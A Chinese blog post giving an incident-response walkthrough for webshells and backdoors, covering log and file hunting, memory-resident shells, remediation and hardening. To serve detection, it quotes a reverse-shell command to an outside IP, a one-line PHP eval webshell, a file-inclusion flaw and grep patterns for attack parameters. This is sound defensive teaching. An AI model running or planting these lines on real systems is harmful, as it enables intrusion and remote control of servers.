欢迎光临
我们一直在努力

【实战复盘】WebShell/网站后门应急处置:从发现到查杀溯源,别再瞎删文件了!

干应急响应这些年,处理过无数起网站被挂马、被传后门的案子。发现很多运维或者初级安全兄弟,一看到告警说“发现WebShell”,第一反应就是:赶紧登录服务器,把那个可疑的 .php 或 .jsp 文件 rm -rf 删了,然后松一口气。

停!打住!这么干大概率会给自己挖大坑,甚至让攻击者在你眼皮底下把核心数据拖光。

今天咱们不扯虚的,直接从一线实战视角,把WebShell和后门应急处置的完整流程扒个底朝天。

开篇立规矩:处置WebShell的“四不要”与总原则

接到WebShell告警或发现网站异常,先在心里默念这四条铁律,严禁执行以下操作:

  • 不要直接删文件不取证:文件一删,攻击者怎么进来的、用了什么工具、有没有留其他后门,线索全断了。
  • 不要没断开攻击通道就改密码:攻击者手里还有Session或者内存马,你改了密码他照样能进,甚至可能触发他的破坏机制。
  • 不要随意重启Web服务:如果是Java内存马,一重启内存里的证据全丢了,而且重启可能掩盖了正在执行的恶意进程。
  • 不要只删不溯源:今天删了,明天他又传一个。不知道入侵路径(是上传漏洞还是弱口令),等于白干。
  • 处置总原则(刻在脑子里):

    “先隔离取证,再查杀清除;先溯源路径,再封堵加固。”


    正确开局:第一件事是确认是否真的被入侵

    别一看到告警就慌,先搞清楚现在的局面。

    第一步:确认告警来源与初步定性。 是WAF/主机安全报的毒?是流量分析发现异常POST?还是自己巡检扫出来的?
    第二步:摸清Web服务架构。 是PHP、Java、Python还是Go?用的什么框架(Spring、ThinkPHP)?Web根目录在哪?
    第三步:按三层往下收敛。

    • 请求入口:攻击者从哪个URL进来的?
    • 文件落盘:后门文件藏在哪个目录?
    • 执行行为:后门运行后干了什么(外连、读文件、提权)?

    第四步:明确区分三类情况。

    • 确认后门(高危):实锤的脚本木马或内存马。立即隔离。
    • 可疑文件(中危):代码写得烂或者用了冷门框架,被安全软件误报。需要人工研判。
    • 误报(低危):正常的业务代码(如包含 eval 的加密解密模块)。加白名单。

    排查主链路:可复制的命令与操作

    排查必须形成证据链。以下是标准动作(以Linux为例),命令可直接复制。

    1. 查Web访问日志找异常上传与访问

    操作:在Nginx/Apache/Tomcat日志里找蛛丝马迹。

    # 找最近的POST请求(上传后门通常是POST)
    grep "POST" /var/log/nginx/access.log | tail -n 50

    # 找访问异常后缀或隐藏文件的请求
    grep -E "\\.(php|jsp|asp|aspx|sh)\\?" /var/log/nginx/access.log | grep -v "index"

    # 找带有特殊参数(如eval、cmd、exec)的GET请求
    grep -iE "cmd=|exec=|eval=|shell=" /var/log/nginx/access.log

    现象与问题:发现某个IP在凌晨2点向 /upload/avatar.php 发了一个几百KB的POST请求,随后立刻访问了 /upload/shell.jsp。实锤上传并访问了后门。

    2. 找Web目录下可疑文件

    操作:按时间、按特征排查。

    # 找最近3天内修改过的Web文件
    find /var/www/html -mtime -3 -type f -name "*.php" -o -name "*.jsp"

    # 找Web目录下的隐藏文件(攻击者喜欢用 .xxx.php)
    find /var/www/html -name ".*" -type f

    # 找包含一句话木马特征的脚本
    find /var/www/html -type f -name "*.php" -exec grep -l "eval(\\$_POST" {} +

    现象与问题:发现一个 .config.php 隐藏文件,修改时间是昨天凌晨,且包含 eval 函数。

    3. 查进程与网络连接

    操作:看后门是不是正在被调用,有没有往外连。

    # 查所有ESTABLISHED连接,看有没有连外网可疑IP
    netstat -antp | grep ESTABLISHED

    # 查Web服务(如php-fpm, java, tomcat)衍生的异常子进程
    ps -ef | grep -E "bash|sh|nc|wget|curl" | grep -v grep

    现象与问题:发现 java 进程下挂了一个 bash -i >& /dev/tcp/1.1.1.1/4444 0>&1。[生产环境风险:实锤反弹Shell!先别杀进程,抓包留存!]

    4. 查系统层痕迹

    操作:看攻击者有没有做持久化或提权。

    # 查最近登录记录
    last -n 20

    # 查有没有被写入定时任务
    cat /etc/crontab; ls -l /etc/cron.*; crontab -l

    # 查有没有新增UID为0的用户
    awk -F: '$3==0 {print $1}' /etc/passwd

    5. 交叉验证

    操作:把日志里的时间、文件修改时间、进程创建时间对齐。如果三者时间吻合,形成完美证据链,直接定性。


    高频现场逐个拆

    遇到具体场景,对号入座:

    1. 一句话木马(动态执行特征)

    • 现象:文件极小(几十字节),内容如 <?php @eval($_POST['cmd']);?>。
    • 命令:cat /var/www/html/cmd.php
    • 处理:备份取证后删除。在WAF上添加规则,拦截带有 eval($_POST 特征的请求。

    2. 加密混淆WebShell(冰蝎/哥斯拉/蚁剑)

    • 现象:代码全是 base64、gzinflate、rot13,或者请求流量是加密的(如冰蝎的AES/RSA)。
    • 命令:strings /var/www/html/shell.php | grep -i "base64"
    • 处理:不要试图人肉解码。直接提取文件Hash丢微步/VirusTotal查;如果是冰蝎/哥斯拉,重点查杀内存马或直接在WAF拦截特定的加密流量特征(如固定的User-Agent或Content-Type)。

    3. 内存马(框架内存型后门)

    • 现象:Web目录里干干净净,但网站一直有异常外连或执行命令。重启服务后异常消失,运行一段时间又出现。
    • 命令:# Java应用,导出线程栈看异常线程
      jstack <pid> > jstack.log
      grep -i "filter\\|servlet\\|listener" jstack.log

    • 处理:[生产环境风险:内存马重启可清,但会丢证据!] 先用 arthas 的 sc/jad 命令或者河马Webshell查杀工具定位内存马类名;确认后再重启Web服务清除,并排查是哪个漏洞(如Shiro、Fastjson)注入的。

    4. 图片马/伪装文件

    • 现象:文件后缀是 .jpg 或 .png,但大小异常,或者被配合文件包含漏洞使用。
    • 命令:file /var/www/html/img.jpg (如果输出包含 PHP script 就是图片马)。
    • 处理:删除文件。排查Web代码,看有没有 include($_GET['file']) 这种本地文件包含漏洞。

    5. WebShell被用来提权或反弹shell

    • 现象:Web进程权限突然变高,或者出现了 nc、bash -i 进程。
    • 命令:ps -ef | grep "bash -i"
    • 处理:在防火墙上阻断该服务器对外的主动连接(只允许特定IP出站);排查内核漏洞或Sudo提权配置。

    6. 多个后门连环(主后门+备用后门)

    • 现象:删了一个,过几天又冒出来。
    • 处理:不要只删告警的那个文件。用 find 把整个Web目录按时间排序,把攻击者入侵时间段内新增/修改的文件全部拉出来挨个审查。

    7. 攻击者清理日志痕迹

    • 现象:Web访问日志在某个时间点突然中断,或者 history 命令被清空。
    • 命令:ls -l /var/log/nginx/access.log (看文件大小是否突然变小)。
    • 处理:日志被 echo "" > 截断或 rm 删除。去查云厂商的底层日志(如阿里云SLS、腾讯云CLB日志),或者查系统层的 audit.log 还原操作。

    恢复与处置:分场景给策略

    处置分三档:隔离(断外联) → 清除(删文件/重启清内存马) → 恢复(还原被篡改文件)。

    • 什么情况先保业务?
      如果是核心交易链路,不能直接断网。策略:在WAF/负载均衡层直接封禁攻击者IP,或者开启WAF的“虚拟补丁”模式拦截恶意请求,业务继续跑,后台慢慢清。
    • 什么情况先断网?
      发现已经反弹Shell,或者正在往外拖库。[生产环境风险:别犹豫,直接在安全组/防火墙切断该服务器的外网出站权限!] 保留内网访问,方便排查。
    • 清除后必须验证:
      删完文件、杀完进程后,用河马、D盾等工具再全盘扫一遍;观察24小时,看WAF还有没有同类告警。
    • 处置全程留档:
      截图、导出日志、备份恶意文件(打包加密存证)。写报告时全靠这些。

    根因分析:别全怪黑客技术牛

    WebShell能传进来,根因往往是代码或配置有漏洞:

  • 上传功能无校验:只看了后缀,没看文件头,或者没限制执行权限。
  • 文件包含漏洞:代码里写了 include($user_input)。
  • 备份文件泄露:运维把 www.tar.gz 放在了Web目录,被攻击者扫到,直接下载拿到源码找漏洞。
  • 后台弱口令:CMS后台密码是 admin/123456,直接登录传马。
  • 框架已知漏洞:用的老版本Struts2、Fastjson、ThinkPHP,没打补丁。
  • 如何用日志定责(形成证据链):

    • 用Web访问日志证明:攻击者在X时X分通过Y接口上传了文件。
    • 用文件修改时间证明:Z文件确实在那个时间点被创建。
    • 用进程/网络日志证明:该文件运行后发起了外连。
      把这三段拼在一起,证明是外部攻击者利用某漏洞入侵,不是内部员工监守自盗。

    事后加固要点

    擦完屁股得防病:

  • 上传校验:白名单机制(只允许传jpg/png),校验文件头(Magic Number),上传目录禁止执行权限(Nginx配置 location /upload { deny all; } 或禁止解析PHP)。
  • Web目录权限最小化:Web运行用户(如 www)对代码目录只有读权限,对上传目录有写权限但无执行权限。
  • 防护规则覆盖:WAF开启防上传、防命令执行、防SQL注入规则。
  • 框架及时补丁:定期扫组件漏洞,该升级升级。
  • 后台口令整改:强制强密码,后台入口改随机路径,绑定IP白名单。
  • 文件完整性监控:部署主机安全Agent(如OSSEC、云安全中心),Web目录文件一变就告警。
  • 日志留存与告警:Web日志至少保留180天(合规要求),接入SIEM,对异常POST和状态码403/500突增进行告警。

  • 总结:处置过程中高频踩坑

    最后,回顾一下大家最容易踩的7个坑,有则改之:

  • 直接删文件丢线索:一删了之,事后写报告只能瞎编。
  • 只删不溯源:漏洞没补,明天攻击者换个姿势再来。
  • 忽略内存马:删了文件以为好了,重启前没抓现场,重启后死活查不出原因。
  • 误删正常文件:把业务自己写的加密模块当木马删了,导致业务宕机。
  • 没断开攻击通道就改密码:攻击者拿着有效Session继续操作,甚至触发逻辑炸弹。
  • 日志没留存查不了:日志只保留7天,半个月后发现被入侵,死无对证。
  • 清理不彻底二次入侵:只删了WebShell,没删攻击者留下的定时任务或隐藏账号。

  • 处理WebShell是个拼眼力和耐心的活,代码和日志里藏着所有的魔鬼。别把安全做成简单的“删文件”,要把每一次入侵都当成一次给系统打补丁、做加固的契机。

    如果你觉得这篇实战复盘对你有帮助,别忘了点赞、收藏、关注一键三连!你在处理WebShell或网站后门时还遇到过什么奇葩事或者坑?欢迎在评论区留言交流,咱们一起排雷!

    赞(0)
    未经允许不得转载:171主机测评 » 【实战复盘】WebShell/网站后门应急处置:从发现到查杀溯源,别再瞎删文件了!
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址